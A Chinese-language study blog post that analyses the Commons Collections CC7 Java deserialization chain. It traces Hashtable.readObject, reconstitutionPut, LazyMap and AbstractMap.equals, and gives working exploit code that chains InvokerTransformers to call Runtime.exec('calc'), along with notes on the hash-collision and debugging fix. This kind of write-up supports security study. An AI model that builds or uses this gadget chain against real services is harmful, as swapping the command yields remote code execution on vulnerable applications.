java反序列化CC7链

前言

这是可能学的最后一条CC链了()

核心

同CC5一样,CC5更新一条调用toString的链子,CC7同样CC1-LazyMap.get的基础上,修改了入口类
这一次利用的是可序列化的Hashtable.readObject方法

链子框架

Hashtable.readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

注意看AbstractMap类调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

get方法被调用,然后呢?
我们跟进reconstitutionPut方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

调用equals方法
这里的equals方法调用的是LazyMap的equals方法
但是LazyMap里面是没有equals方法的,发现它继承于AbstractMapDecorator类
这里面实现了调用map.equals方法,而LazyMap里的map既是HashMap对象,调用它的equal方法
HashMap继承了AbstractMap抽象类,该类中有一个equals方法
至此循环即成

至此核心已成
but,真正难的,是具体实现的路径

分析

从readObject方法进入
没什么特殊要求,跟进reconstitutionPut方法,查看逻辑

1
2
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

创建两个map

1
2
3
4
5
6
7
8
9
10
11
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("aa",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("bb",1);

Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);

要hash值一样,给了一组

1
2
yy与zZ
Ea与FB

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 Transformer[] tans=new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tans);

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
setFieldValue(chainedTransformer,"iTransformers",transformers);

实际调试一下
中间出现了一个问题

1
多了一个值

关于lazyMap2集合中的第二个元素(yy=yy)从何而来

1
当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。


注意看,Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法put一个元素yy
put第一个时未进入循环体,因此其无事发生
和CC6一样
直接remove掉即可
LazyMap2.remove("yy");
发现还是不成功,调试一下,发现停在for (Entry<?,?> e = tab[index] ; e != null ; e = e.next)
发现hashtable在put两个之后size还是为1,说明第二个put方法没有生效,换成hash不一样的值size变为2
我也是没招了
经历非常艰难的调试,还是成功了

问题

为什么hashtable.put方法添加LazyMap2无法正常put进去?
最终的size为1
当不用”yy”与”zZ”时,可以put进去使size=2,即hash不等时才可以put进去?
导致链子直接断了
这个问题的原因想不清楚,但是有了解决方案
我们先直接
lazyMap1.equals(lazyMap2);
先下手为强
直接先put lazyMap2进去yy
最后在remove
最后成功触发了漏洞

总结

调了感觉三个多h了()